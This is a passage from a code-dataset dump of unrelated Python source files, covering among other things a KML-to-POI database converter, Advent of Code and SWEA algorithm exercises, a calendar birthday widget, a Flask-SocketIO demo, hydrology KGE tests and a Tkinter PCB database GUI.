(poi_id,lat,lon,name,desc, cat_id) in dbc:\n                self.pois.append(Poi(name,lat=lat,lon=lon,desc=desc,categ=cat_ids[cat_id]))\n            db.close()\n\n    def read_csv(self,path):\n        col_id={\n            'name': None,\n            'desc': None,\n            'lat':  None,\n            'lon':  None,\n            'categ':None,\n            }\n        csv.register_dialect('strip', skipinitialspace=True)\n        with open(path,'rb') as data_f:\n            data_csv=csv.reader(data_f,'strip')\n            header=[s.decode('utf-8').lower() for s in next(data_csv)]\n\n            for col in range(len(header)): # find relevant colunm numbers\n                for id in col_id:\n                    if header[col].startswith(id):\n                        col_id[id]=col\n\n            cat_ids={}\n            for row in data_csv:\n                row=[s.decode('utf-8') for s in row]\n                poi_parms={}\n                for col in col_id:\n                    try:\n                        poi_parms[col]=row[col_id[col]]\n                    except:\n                        poi_parms[col]=''                  \n                if poi_parms['categ']:\n                    icon=poi_parms['categ'].lower()+'.jpg'\n                else:\n                    icon='__undefined__.jpg'\n\n                categ=self.categ_add_update(icon=icon)\n                self.pois.append(Poi(\n                    poi_parms['name'],\n                    categ=categ,\n                    lat=poi_parms['lat'],\n                    lon=poi_parms['lon'],\n                    desc=poi_parms['desc']\n                    ))\n                        \n    def handleStyle(self,elm):\n        url=None\n        style_id=elm.getAttribute('id')\n        ld(style_id)\n        icon=u'__%s__.jpg' % style_id\n        if elm.getElementsByTagName(\"IconStyle\") != []:\n            try:\n                url=elm.getElementsByTagName(\"href\")[0].firstChild.data\n                icon=re.sub('^.*/','',url)\n            except: pass\n        elif elm.getElementsByTagName(\"PolyStyle\") != []:\n            icon=u'__polygon__.jpg'\n        elif elm.getElementsByTagName(\"LineStyle\") != []:\n            icon=u'__line__.jpg'\n        return (style_id, self.categ_add_update(None,icon=icon,url=url))\n                    \n    def get_coords(self,elm):\n        coords=elm.getElementsByTagName(\"coordinates\")[0].firstChild.data.split()\n        return [list(map(float,c.split(','))) for c in coords]\n        \n    def handlePlacemark(self,pm):\n        point=pm.getElementsByTagName(\"Point\")\n        if point == []:\n            return None\n        coords=self.get_coords(point[0])\n        (lon,lat)=coords[0][0:2]\n\n        label=pm.getElementsByTagName(\"name\")[0].firstChild.data\n        style_id=pm.getElementsByTagName(\"styleUrl\")[0].firstChild.data[1:]\n        style=self.styles[style_id]\n        ld((label,style_id,style))\n        if style.startswith('__') and style.endswith('__'):\n            logging.warning(' No icon for \"%s\"' % label)\n        desc=None\n        try:\n            desc_elm=pm.getElementsByTagName(\"description\")[0]\n            if desc_elm.firstChild:\n                cdata=(desc_elm.firstChild.nodeType == self.doc.CDATA_SECTION_NODE)\n                desc=desc_elm.firstChild.data\n                if cdata:\n                    desc=strip_html(desc)\n        except IndexError:\n            pass\n        return Poi(label,lat=lat,lon=lon,desc=desc,categ=self.styles[style_id])\n\n    def write_aux(self):\n        cat_list=['# enabled, icon, category, desc']\n        icon_urls=[]\n        icon_aliases=[] #\"ln -s '%s.db' 'poi.db'\"  % self.base]\n        icon_aliase_templ=\"ln -s '%s' '%s'\"\n        for (c_key,c) in self.categories.items():\n            for i_key in c.icons:\n                cat_list.append('%i, %s, %s%s' % (c.enabled,i_key,c.label,((', '+c.desc) if c.desc else '')))\n                url=c.icons[i_key]\n                if url:\n                    icon_urls.append(\"wget -nc '%s'\" % url)\n                if c_key+'.jpg' != i_key:\n                    icon_aliases.append(icon_aliase_templ % (i_key, c_key+'.jpg'))\n        with open(self.base+'.categories.gen','w') as f:\n            for s in cat_list:\n                print(s, file=f)\n        with open(self.base+'.sh','w',encoding='utf-8') as f:\n            for ls in [icon_urls,icon_aliases]:\n                for s in ls:\n                    print(s, file=f)\n\n    def proc_category(self,c):\n        self.dbc.execute('insert into category (label, desc, enabled) values (?,?,?);',\n            (c.label,c.desc,c.enabled))\n        c.update(cat_id=self.dbc.lastrowid)\n            \n    def proc_poi(self,p):\n        self.dbc.execute('insert into poi (lat, lon, label, desc, cat_id) values (?,?,?,?,?);',\n            (p.lat,p.lon,p.label,p.desc,self.categories[p.categ].cat_id))\n\n    def proc_src(self,src):\n        pf(src)\n        self.load_categ(src)\n        try: # to open as kml file\n            self.doc = xml.dom.minidom.parse(src)\n            self.name=[n for n in self.doc.getElementsByTagName(\"Document\")[0].childNodes \n                        if n.nodeType == n.ELEMENT_NODE and n.tagName == 'name'][0].firstChild.data\n\n            self.styles=dict(list(map(self.handleStyle,self.doc.getElementsByTagName(\"Style\"))))\n            self.pois+=[_f for _f in map(self.handlePlacemark,self.doc.getElementsByTagName(\"Placemark\")) if _f]\n            self.doc.unlink()\n        except IOError:\n            logging.warning(' No input file: %s' % src)\n        except xml.parsers.expat.ExpatError:\n            try: # to open as db\n                self.read_db(src)\n            except sqlite3.DatabaseError:\n                try: # to open as csv\n                    self.read_csv(src)\n                except csv.Error:\n                    raise Exception('Invalid input file: %s' % src)\n\n    def proc_all(self):\n        list(map(self.proc_src, self.src))\n\n        self.db=sqlite3.connect(self.dest_db)\n        self.dbc = self.db.cursor()\n        try:\n            self.db.execute ('''\n                create table category (cat_id integer PRIMARY KEY, label text, desc text, enabled integer);\n                ''')\n            self.db.execute ('''\n                create table poi (poi_id integer PRIMARY KEY, lat real, lon real, label text, desc text, cat_id integer);\n                ''')\n        except:\n            pass\n\n        list(map(self.proc_category,iter(self.categories.values())))\n        list(map(self.proc_poi,self.pois))\n        self.db.commit()\n        self.db.close()\n        self.write_aux()\n\nif __name__=='__main__':\n    parser = optparse.OptionParser(\n        usage=\"usage: %prog [-o <output_db>] [<kml_file>]... [<input_db>]...\",\n        version=version,\n        description=\"makes maemo-mapper POI db from a kml file(s)\")\n    parser.add_option(\"-d\", \"--debug\", action=\"store_true\", dest=\"debug\")\n    parser.add_option(\"-q\", \"--quiet\", action=\"store_true\", dest=\"quiet\")\n    parser.add_option(\"-r\", \"--remove-dest\", action=\"store_true\",\n        help='delete destination before processing')\n    parser.add_option(\"-o\", \"--output\",dest=\"dest_db\", \n                      type=\"string\",help=\"output POIs db file\")\n\n    (options, args) = parser.parse_args()\n    logging.basicConfig(level=logging.DEBUG if options.debug else \n        (logging.ERROR if options.quiet else logging.INFO))\n\n    if args == []:\n        raise Exception(\"No source specified\")\n\n    Poi2Mapper(args,options.dest_db).proc_all()\n","repo_name":"wellenvogel/avnav","sub_path":"chartconvert/tiler_tools/kml2poi.py","file_name":"kml2poi.py","file_ext":"py","file_size_in_byte":11483,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"18"}
{"seq_id":"40095884209","text":"bingo_numbers = []\nbingo_boards = []\nmarked_bingo_boards = []\n\n\ndef read_input():\n    with open('./input/day-4-input.txt') as file:\n        line_number = 1\n        outer_array_index = -1\n        for line in file:\n            if line_number == 1:\n                line_number += 1\n                list = line.split(\",\")\n                for i in list:\n                    bingo_numbers.append(int(i))\n            elif line == '\\n':\n                bingo_boards.append([])\n                marked_bingo_boards.append([])\n                outer_array_index += 1\n            else:\n                bingo_boards[outer_array_index].append(\n                    [int(x.strip() or '0') for x in line.split()])\n                marked_bingo_boards[outer_array_index].append([False] * 5)\n\n\ndef check_for_bingo():\n    for board_index, board in enumerate(marked_bingo_boards):\n        if check_rows_for_bingo(board) == True:\n            return board_index\n        elif check_columns_for_bingo(board) == True:\n            return board_index\n    return 0\n\n\ndef check_rows_for_bingo(board):\n    for row in board:\n        if False in row:\n            continue\n        else:\n            return True\n    return False\n\n\ndef check_columns_for_bingo(board):\n    column_index = 0\n    row_index = 0\n    while column_index < 5:\n        column = []\n        while row_index < 5:\n            column.append(board[row_index][column_index])\n            row_index += 1\n        if False in column:\n            row_index = 0\n            column_index += 1\n            continue\n        else:\n            return True\n    return False\n\n\ndef mark_bingo_number(called_number):\n    for board_index, board in enumerate(bingo_boards):\n        for row_index, row_values in enumerate(board):\n            for value_index, value in enumerate(row_values):\n                if value == called_number:\n                    marked_bingo_boards[board_index][row_index][value_index] = True\n\n\ndef calculate_final_score(board, index):\n    sum = 0\n    for row_index, row_values in enumerate(board):\n        for value_index, value in enumerate(row_values):\n            if value == False:\n                sum += bingo_boards[index][row_index][value_index]\n    return sum\n\n\ndef process_input():\n    read_input()\n    for bingo_number in bingo_numbers:\n        mark_bingo_number(bingo_number)\n        bingo_found_index = check_for_bingo()\n        if bingo_found_index > 0:\n            return calculate_final_score(marked_bingo_boards[bingo_found_index], bingo_found_index) * bingo_number\n\n\nprint(f'{process_input()}')\n","repo_name":"ajanickiv/advent-of-code-2021","sub_path":"src/day-4-part-1.py","file_name":"day-4-part-1.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33783242285","text":"expenses = []\n\nsum = 0\nnum_expenses = int(input(\"Enter # of expenses: \"))\n\nfor idx in range(num_expenses):\n    expenses.append(float(input(\"Enter an expense: \")))\n\nfor expense in expenses:\n    sum += expense\n    \nprint('You spent €', sum, sep= '')","repo_name":"HardCodedCoder/Python-3-Fundamentals","sub_path":"expenses.py","file_name":"expenses.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71386513959","text":"##############\n## Solution ##\n##############\n\ndef alienAlphabet(orderedWords):\n    # edge cases\n    if len(orderedWords) <= 0:\n        return \"\"\n    if len(orderedWords) == 1:\n        return \"\".join(set(orderedWords[0]))\n\n    # linearization of a DAG\n    graph = createDependencyGraph(orderedWords)\n    alphabet = topologicalSort(graph)\n\n    return \"\".join(alphabet)\n\n#############\n## Helpers ##\n#############\n\ndef createDependencyGraph(orderedWords):\n    # prepoulate graph with all letters\n    graph = {letter: [] for word in orderedWords for letter in word}\n\n    # add dependencies\n    for word, nextWord in zip(orderedWords, orderedWords[1:]):\n        for letter, otherLetter in zip(word, nextWord):\n            if letter != otherLetter:\n                graph[letter].append(otherLetter)\n                break\n\n    return graph\n\n# graph is represented as key:value pair\n# key = node\n# value = [list, of, connected, nodes]\n#\n# the graph is also given to be a DAG so all the connected\n# nodes are from outgoing edges\n#\n# this function returns the resulting linearization in a list\ndef topologicalSort(graph):\n    visited = set()\n    postOrderStack = []\n\n    def dfs(start):\n        visited.add(start)\n\n        # recurse\n        for child in graph[start]:\n            if child not in visited:\n                dfs(child)\n\n        # done exploring your children, add yourself to the postorder\n        postOrderStack.append(start)        \n\n    # run dfs from all source nodes\n    sources = getSources(graph)\n    for node in sources:\n        dfs(node)\n\n    # reversed returns an iterator\n    return reversed(postOrderStack)\n\n# Source nodes are ones that don't have any incoming edges\ndef getSources(graph):\n    nonSourceNodes = set()\n    for nodeList in graph.values():\n        for node in nodeList:\n            nonSourceNodes.add(node)\n    return set(graph.keys()) - nonSourceNodes\n\n###########\n## Tests ##\n###########\n\ndef testGetSources():\n    graph = {'b':['a','d'], 'a':['c'], 'c':[], 'd':['a']}\n    assert getSources(graph) == set(['b'])\n\ndef testTopologicalSort():\n    graph = {'b':['a','d'], 'a':['c'], 'c':[], 'd':['a']}\n    topologicalSortResult = topologicalSort(graph)\n    assert topologicalSortResult.next() == 'b'\n    assert topologicalSortResult.next() == 'd'\n    assert topologicalSortResult.next() == 'a'\n    assert topologicalSortResult.next() == 'c'\n\ndef testAlienAlphabet():\n    assert alienAlphabet([]) == ''\n    assert set(alienAlphabet(['baa'])) == set('ba') # might be wrong assumption here\n    assert alienAlphabet(['baa', 'baa']) == 'ba' # might be the wrong assumption here\n    assert alienAlphabet(['abcd', 'baa', 'c', 'd', 'e']) == 'abcde'\n    assert alienAlphabet(['baa', 'abcd', 'abca', 'cab', 'cad']) == 'bdac'\n\ndef tests():\n    testGetSources()\n    testTopologicalSort()\n    testAlienAlphabet()\n\ndef main():\n    tests()\n\nif __name__ == '__main__':\n    main()\n\n","repo_name":"thatguyintech/100-day-coding-challenge","sub_path":"day8/alienalphabet.py","file_name":"alienalphabet.py","file_ext":"py","file_size_in_byte":2890,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"}
{"seq_id":"30485813308","text":"from datetime import datetime, timedelta\nfrom threading import Thread\n\nfrom apiclient.discovery import build\nfrom dateutil import parser\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\n\nfrom modules.base import BaseModule\nfrom modules.logs import setup_logger\nfrom settings import BIRTHDAY_UPDATE_DELAY, CALENDAR_ID\n\nlogging = setup_logger(__name__)\n\n\nclass Birthday(BaseModule):\n    def __init__(self):\n        super().__init__()\n        self.thread = Thread(name=self.__class__.__name__, target=self.update)\n        self.data = []\n        self.new_data = []\n        self.event_padding = None\n        self.position_top = None\n\n        # Setup the Calendar API\n        scopes = 'https://www.googleapis.com/auth/calendar.readonly'\n        store = file.Storage('credentials.json')\n        creds = store.get()\n        if not creds or creds.invalid:\n            flow = client.flow_from_clientsecrets('client_secret.json', scopes)\n            creds = tools.run_flow(flow, store)\n        self.service = build('calendar', 'v3', http=creds.authorize(Http()))\n\n    def update(self):\n\n        while not self.shutdown:\n            self.event_padding = 0.012\n            self.position_top = 0.8\n            events = self.fetch_upcoming_event()\n            if events:\n                self.show_header()\n                self.move_down()\n                for event in events:\n                    self.show_date(event)\n                    self.show_summary(event)\n                    self.move_down()\n\n            self.data.clear()\n            self.data = self.new_data[:]\n            self.new_data.clear()\n            logging.debug(\"Completed updating %s...\" % self.__class__.__name__)\n            self.sleep(BIRTHDAY_UPDATE_DELAY)\n        logging.info('Stopped %s...' % self.__class__.__name__)\n\n    def move_down(self):\n        self.position_top += self.event_padding\n\n    def show_header(self):\n        surface = self.font('regular', 0.008).render('Birthdays:', True, self.color)\n        position = surface.get_rect(left=self.width * 0.045, top=self.height * self.position_top)\n        self.new_data.append((surface, position))\n\n    def show_date(self, event):\n        start = parser.parse(event['start'].get('dateTime', event['start'].get('date')))\n        today = datetime.today().day\n        if start.day - today == 0 and start.month == datetime.today().month:\n            msg = 'Today'\n        elif start.day - today == 1 and start.month == datetime.today().month:\n            msg = 'Tomorrow'\n        else:\n            msg = start.strftime(\"%d %b\")\n        surface = self.font('regular', 0.01).render(msg, True, self.color)\n        position = surface.get_rect(left=self.width * 0.045, top=self.height * self.position_top)\n        self.new_data.append((surface, position))\n\n    def show_summary(self, event):\n        surface = self.font('regular', 0.01).render(event['summary'], True, self.color)\n        position = surface.get_rect(left=self.width * 0.13, top=self.height * self.position_top)\n        self.new_data.append((surface, position))\n\n    def fetch_upcoming_event(self):\n        # Call the Calendar API\n        try:\n            now = datetime.utcnow().replace(hour=1, minute=0).isoformat() + 'Z'\n            later = (datetime.today() + timedelta(days=30)).isoformat() + 'Z'\n            events_result = self.service.events().list(calendarId=CALENDAR_ID,\n                                                       timeMin=now,\n                                                       timeMax=later,\n                                                       singleEvents=True,\n                                                       orderBy='startTime').execute()\n            events = events_result.get('items', [])\n\n            if not events:\n                logging.info('No upcoming events found.')\n                return []\n            return events\n        except Exception as e:\n            logging.error(e)\n            return []\n","repo_name":"sibuser/magic_mirror","sub_path":"modules/birthday.py","file_name":"birthday.py","file_ext":"py","file_size_in_byte":3947,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"3770038134","text":"import time\nfrom flask import Flask\nfrom flask_socketio import SocketIO\n\n# initialize flask app\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'secret'\n\n# wrap app in socketio\nsocketio = SocketIO(app)\n\n@socketio.on('message')\ndef handle_message(message):\n    print(f'received message: {message}')\n\n@socketio.on('json')\ndef handle_json(json):\n    print('received json: ' + str(json))\n\n@socketio.on('save:json')\ndef save_json(json):\n    print(f'got json: {str(json)}')\n    timers = [1, 2, 2.5, 3.5, 1.5, 3]\n    messages = [\n        'saving data...',\n        'still saving data...',\n        'taking a nep...',\n        'dreaming...',\n        'wrapping up...',\n        'reticulating splines...'\n    ]\n    total = len(timers)\n    for index in range(total):\n        socketio.emit('progress', f'{index + 1}/{total} - {messages[index]}')\n        time.sleep(timers[index])\n    socketio.emit('progress', 'done')\n\n@socketio.on('echo')\ndef echo(message):\n    # socketio.send(message)\n    socketio.emit('echo', message)\n\nfrom app import views\n","repo_name":"parties/python-websocket-html-example","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22371291289","text":"# SWEA 추가 list 추가문제\n\n# 13893 주사위\nN, M, x,y,K = map(int,input().split())\nMap = [list(map(int,input().split())) for _ in range(N)]\norders = list(map(int,input().split()))\ndice = [0,0,0,0,0,0] # 위0 / 아래1 / 정면2 / 후면3 / 좌4 / 우5\nmove = [[0,1],[0,-1],[-1,0],[1,0]]  # 동 서 북 남\nfor i in orders:\n    # 명령 대로 굴려~\n    dy,dx = y+move[i-1][0],x+move[i-1][1]\n    if dy<0 or dx<0 or dy>=N or dx>=M: continue\n\n    if i==1:\n        dice[0],dice[5],dice[4],dice[1] = dice[4],dice[0],dice[1],dice[5]\n    if i==2:\n        dice[0],dice[4],dice[5],dice[1] = dice[5],dice[0],dice[1],dice[4]\n    if i==3:\n        dice[0],dice[1],dice[2],dice[3] = dice[3],dice[2],dice[0],dice[1]\n    if i==4:\n        dice[0],dice[1],dice[2],dice[3] = dice[2],dice[3],dice[1],dice[0]\n    \n    if Map[dy][dx] ==0:         # 지도 좌표가 0이면 주사위 값 넣기\n        Map[dy][dx] = dice[1]\n    else:                       # 지도 좌표 0 아니면 지도 좌표값을 주사위에 넣기\n        dice[1] = Map[dy][dx]\n        Map[dy][dx] = 0\n    y,x = dy,dx                 # 현 좌표 갱신\n    print(dice[0])\n\n\n# 13748 진기의 최고급 붕어빵\nT = int(input())\nfor tc in range(1,T+1):\n    _,m,k = map(int,input().split())\n    cs_sec = list(map(int,input().split()))\n    bucket = [0]*11112\n    for c in cs_sec:\n        bucket[c] += 1\n    for i in range(1,len(bucket)):\n        bucket[i] += bucket[i-1]\n    flag = 1\n    for sec in cs_sec:\n        num = bucket[sec] # sec에 해당하는 손님\n        stock = (sec//m) * k\n        if num>stock:\n            flag = 0\n            break\n    if flag:\n        print(f\"#{tc} Possible\")\n    else:\n        print(f\"#{tc} Impossible\")\n    \n# 1979 어디에 단어가 들어갈 수 있을까\ndef find(i):\n    cnt,result  = 0,0\n    for j in range(N):\n        if lst[i][j]==1: cnt+= 1\n        if lst[i][j] ==0: \n            if cnt==K: \n                result += 1\n            cnt = 0\n    if cnt==K: result += 1\n\n    cnt = 0\n    for j in range(N):\n        if lst[j][i]==1: cnt +=1\n        if lst[j][i]==0: \n            if cnt==K:\n                result += 1\n            cnt = 0\n    if cnt==K: result += 1\n    return result\n\nT = int(input())\nfor tc in range(1,T+1):\n    ret = 0\n    N,K = map(int,input().split())\n    lst = [list(map(int,input().split())) for _ in range(N)]\n    for i in range(N):\n        ret += find(i)\n    print(f\"#{tc} {ret}\")\n\n# 1210 Ladder1\nfor tc in range(1,11):\n    n = int(input())\n    lst = [list(map(int,input().split())) for _ in range(100)]\n    print(f\"#{tc}\",end=' ')\n\n    for i in range(100):\n        if lst[99][i]==2:\n            y,x = 99,i\n\n    idx = 0\n    move = [[0,-1],[0,1],[-1,0]]\n    visit = [[0]*100 for _ in range(100)]\n    while y!=0:\n        for j in range(3):\n            dy,dx = y+move[j][0],x+move[j][1]\n            if 0<=dy<100 and 0<=dx<100 and lst[dy][dx]==1 and visit[dy][dx]==0:\n                lst[dy][dx] = 3\n                visit[y][x] = 1\n                y,x = dy,dx\n                break\n    print(dx)","repo_name":"YoungSeok222222/class","sub_path":"9.24.Sat/SWEA_IM_대비_다시풀기.py","file_name":"SWEA_IM_대비_다시풀기.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33106978975","text":"\"\"\"Testing kge module.\"\"\"\n\nimport os\nimport sys\n\nimport pytest\nimport numpy as np\nimport pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom de import kge\n\nbaseline_dir = \"images\"\n\nbaseline_dir_single = os.path.join(baseline_dir, \"kge/single\")\nbaseline_dir_multi = os.path.join(baseline_dir, \"kge/multi\")\n\nWIN = sys.platform.startswith(\"win\")\n\n# In some cases, the fonts on Windows can be quite different\nDEFAULT_TOLERANCE = 10 if WIN else 2\n\n\ndef test_kge_for_arrays():\n    eff = kge.calc_kge(\n        obs=np.array([1.5, 1, 0.8, 0.85, 1.5, 2]),\n        sim=np.array([1.6, 1.3, 1, 0.8, 1.2, 2.5]),\n    )\n    assert eff == pytest.approx(0.683901305466148, rel=1e-4)\n\n\ndef test_kge_skill_for_arrays():\n    eff = kge.calc_kge_skill(\n        obs=np.array([1.5, 1, 0.8, 0.85, 1.5, 2]),\n        sim=np.array([1.6, 1.3, 1, 0.8, 1.2, 2.5]),\n        bench=np.array([1, 1.1, 1.15, 1.15, 1.1, 1]),\n    )\n    assert eff == pytest.approx(0.8467044616487865, rel=1e-4)\n\n\ndef test_beta_for_arrays():\n    beta = kge.calc_kge_beta(\n        obs=np.array([1.5, 1, 0.8, 0.85, 1.5, 2]),\n        sim=np.array([1.6, 1.3, 1, 0.8, 1.2, 2.5]),\n    )\n    assert beta == pytest.approx(1.0980392156862746, rel=1e-4)\n\n\ndef test_alpha_for_arrays():\n    alpha = kge.calc_kge_alpha(\n        obs=np.array([1.5, 1, 0.8, 0.85, 1.5, 2]),\n        sim=np.array([1.6, 1.3, 1, 0.8, 1.2, 2.5]),\n    )\n    assert alpha == pytest.approx(1.2812057455166919, rel=1e-4)\n\n\ndef test_gamma_for_arrays():\n    gamma = kge.calc_kge_gamma(\n        obs=np.array([1.5, 1, 0.8, 0.85, 1.5, 2]),\n        sim=np.array([1.6, 1.3, 1, 0.8, 1.2, 2.5]),\n    )\n    assert gamma == pytest.approx(1.166812375381273, rel=1e-4)\n\n\ndef test_temp_cor_for_arrays():\n    temp_cor = kge.calc_temp_cor(\n        obs=np.array([1.5, 1, 0.8, 0.85, 1.5, 2]),\n        sim=np.array([1.6, 1.3, 1, 0.8, 1.2, 2.5]),\n    )\n    assert temp_cor == pytest.approx(0.8940281850583509, rel=1e-4)\n\n\n@pytest.mark.mpl_image_compare(\n    baseline_dir=baseline_dir_single, tolerance=DEFAULT_TOLERANCE\n)\ndef test_single_diag_polar_plot():\n    obs = np.array([1.5, 1, 0.8, 0.85, 1.5, 2])\n    sim = np.array([1.6, 1.3, 1, 0.8, 1.2, 2.5])\n    fig = kge.polar_plot(obs, sim)\n\n    return fig\n\n\n@pytest.mark.mpl_image_compare(\n    baseline_dir=baseline_dir_multi, tolerance=DEFAULT_TOLERANCE\n)\ndef test_multi_diag_polar_plot():\n    beta = np.array([1.1, 1.15, 1.2, 1.1, 1.05, 1.15])\n    alpha = np.array([1.15, 1.1, 1.2, 1.1, 1.1, 1.2])\n    r = np.array([0.9, 0.85, 0.8, 0.9, 0.85, 0.9])\n    eff_kge = np.array([0.79, 0.77, 0.65, 0.83, 0.81, 0.73])\n    fig = kge.polar_plot_multi(beta, alpha, r, eff_kge)\n\n    return fig\n","repo_name":"Hydrology-IFH/diag-eff","sub_path":"tests/test_kge.py","file_name":"test_kge.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"1917002041","text":"# Databricks notebook source\ndf=spark.read.parquet(\"/FileStore/tables/my_data/task_2\")\n\n\n# COMMAND ----------\n\n#Importing the required modules\n\nfrom pyspark.sql.functions import min,max,count,lit,col,sum\nmyResultDir = \"FileStore/tables/my_result/out_2_2\"\n\ntask_2=df.withColumn('min_price',lit(df.agg(min('price')).first().asDict()['min(price)'])).withColumn('max_price',lit(df.agg(max('price')).first().asDict()['max(price)'])).\\\n    withColumn('row_count',lit(df.agg(count('price')).first().asDict()['count(price)'])).select('min_price','max_price','row_count').distinct()\n\ntask_2.show()\n\ntask_2.write.format(\"csv\").option(\"header\", \"true\").mode(\"overwrite\").save(myResultDir)\n\n\n# COMMAND ----------\n\n\n","repo_name":"blessy-john/Data_Engineering_Coding","sub_path":"src/task2_2.py","file_name":"task2_2.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"70029229479","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('voucher', '0004_auto_20160124_2143'),\n    ]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name='voucheruselog',\n            options={'ordering': ['-date_spent']},\n        ),\n        migrations.AlterModelOptions(\n            name='worklog',\n            options={'ordering': ['-date_issued']},\n        ),\n        migrations.AlterField(\n            model_name='voucheruselog',\n            name='wallet',\n            field=models.ForeignKey(related_name='uselogs', to='voucher.VoucherWallet', on_delete=models.CASCADE),\n        ),\n        migrations.AlterField(\n            model_name='worklog',\n            name='wallet',\n            field=models.ForeignKey(related_name='worklogs', to='voucher.VoucherWallet', on_delete=models.CASCADE),\n        ),\n    ]\n","repo_name":"cybernetisk/internsystem","sub_path":"voucher/migrations/0005_auto_20160126_1721.py","file_name":"0005_auto_20160126_1721.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"7506020419","text":"# this imports everything from the tkinter module\r\nfrom tkinter import *\r\n# importing the ttk module from tkinter that's for styling widgets\r\nfrom tkinter import ttk\r\n# importing message boxes like showinfo, showerror, askyesno from tkinter.messagebox\r\nfrom tkinter.messagebox import askyesno\r\n# this imports operating system commands\r\nimport os\r\n\r\n\r\n# the function to close the window\r\ndef close_window():\r\n    # this will ask the user whether to close or not\r\n    # if the value is yes/True the window will close\r\n    if askyesno(title='Close Pcb Database', message='Are you sure you want to close the Database Application?'):\r\n        # this destroys the window\r\n        window.destroy()\r\n\r\n\r\n# creating the window using the Tk() class\r\nwindow = Tk()\r\n# creates title for the window\r\nwindow.title('PCB DATABASE STORAGE')\r\n# adding the window's icon\r\nwindow.iconbitmap(window, 'database.ico')\r\n# dimensions and position of the window\r\nwindow.geometry('800x600+400+100')\r\n# makes the window non-resizable\r\nwindow.resizable(height=FALSE, width=FALSE)\r\n# this is for closing the window via the close_window() function\r\nwindow.protocol('WM_DELETE_WINDOW', close_window)\r\n\r\n\r\n\"\"\"Styles for the widgets, labels, entries, and buttons\"\"\"\r\n\r\n# style for the labels\r\nlabel_style = ttk.Style()\r\nlabel_style.configure('TLabel', foreground='#000000', font=('Dotum', 10))\r\n\r\n# style for the entries\r\nentry_style = ttk.Style()\r\nentry_style.configure('TEntry', font=('Dotum', 15))\r\n\r\n# style for the buttons\r\nbutton_style = ttk.Style()\r\nbutton_style.configure('TButton', foreground='#000000', font=('DotumChe', 10))\r\n\r\n# creating the Notebook widget\r\ntab_control = ttk.Notebook(window)\r\n\r\n# creating a tab with the ttk.Frame()\r\ndetect_tab = ttk.Frame(tab_control)\r\n\r\n# adding the two tabs to the Notebook\r\ntab_control.add(detect_tab, text='BUGFIX')\r\n# this makes the Notebook fill the entire main window so that its visible\r\ntab_control.pack(expand=1, fill=\"both\")\r\n\r\n# creates the canvas for containing all the widgets in the tab\r\ngen_canvas = Canvas(detect_tab, width=750, height=550)\r\n# packing the canvas to the second tab\r\ngen_canvas.pack()\r\n\r\n# creates the canvas for containing all the widgets in the tab\r\ngen_canvas1 = Canvas(detect_tab, width=750, height=550)\r\n# packing the canvas to the second tab\r\ngen_canvas1.pack(fill=BOTH, expand=1)\r\n\r\n\r\n\"\"\"Widgets for the BugFix tab\"\"\"\r\n\r\n# creating a source label\r\nsource_qrcode = ttk.Label(window, text='Scan Source QRcode:', style='TLabel')\r\n# creating a source entry\r\nsource_entry = ttk.Entry(window, width=45, style='TEntry')\r\n\r\n# adding the label to the canvas\r\ngen_canvas.create_window(110, 30, window=source_qrcode)\r\n# adding the entry to the canvas\r\ngen_canvas.create_window(320, 30, window=source_entry)\r\n\r\n# creating a pcb label\r\npcb_qrcode = ttk.Label(window, text='Scan QRcode:', style='TLabel')\r\n# creating a pcb entry\r\npcb_entry = ttk.Entry(width=45, style='TEntry')\r\n\r\n# adding the label to the canvas\r\ngen_canvas.create_window(88, 60, window=pcb_qrcode)\r\n# adding the entry to the canvas\r\ngen_canvas.create_window(280, 60, window=pcb_entry)\r\n\r\n# creating a scan pcb label\r\npcb_box = ttk.Label(window, text='Scanned PCB`s:', style='TLabel')\r\n# creating a scan pcb entry\r\npcb_entry = ttk.Entry(window, width=35)\r\n\r\n# adding the scan pcb label to the canvas\r\ngen_canvas.create_window(600, 60, window=pcb_box)\r\ngen_canvas.create_window(620, 210, height= 280, window=pcb_entry)\r\n\r\n# adding the scrollbar to the canvas\r\n#my_scrollbar = ttk.Scrollbar(pcb_entry, orient=VERTICAL, command=gen_canvas1.yview) \r\n#my_scrollbar.pack(side=RIGHT, fill=Y)\r\n#gen_canvas1.configure(yscrollcommand=my_scrollbar.set)\r\n#gen_canvas1.bind('<Configure>', lambda e:gen_canvas.configure(scrollregion=gen_canvas1.bbox(\"all\")))\r\n#sec_frame = Frame(gen_canvas1)\r\n#gen_canvas1.create_window((500,60), window=sec_frame, anchor=\"nw\")\r\n\r\n# creating a bug label\r\nbug_number = ttk.Label(window, text='Bugs To be Fixed:', style='TLabel')\r\n# creating a bug entry\r\nbug_entry = ttk.Entry(window, width=20)\r\n\r\n# adding the bug label to the canvas\r\ngen_canvas.create_window(100, 120, window=bug_number)\r\ngen_canvas.create_window(110, 240, height= 220, window=bug_entry)\r\n\r\n# creating a source bug 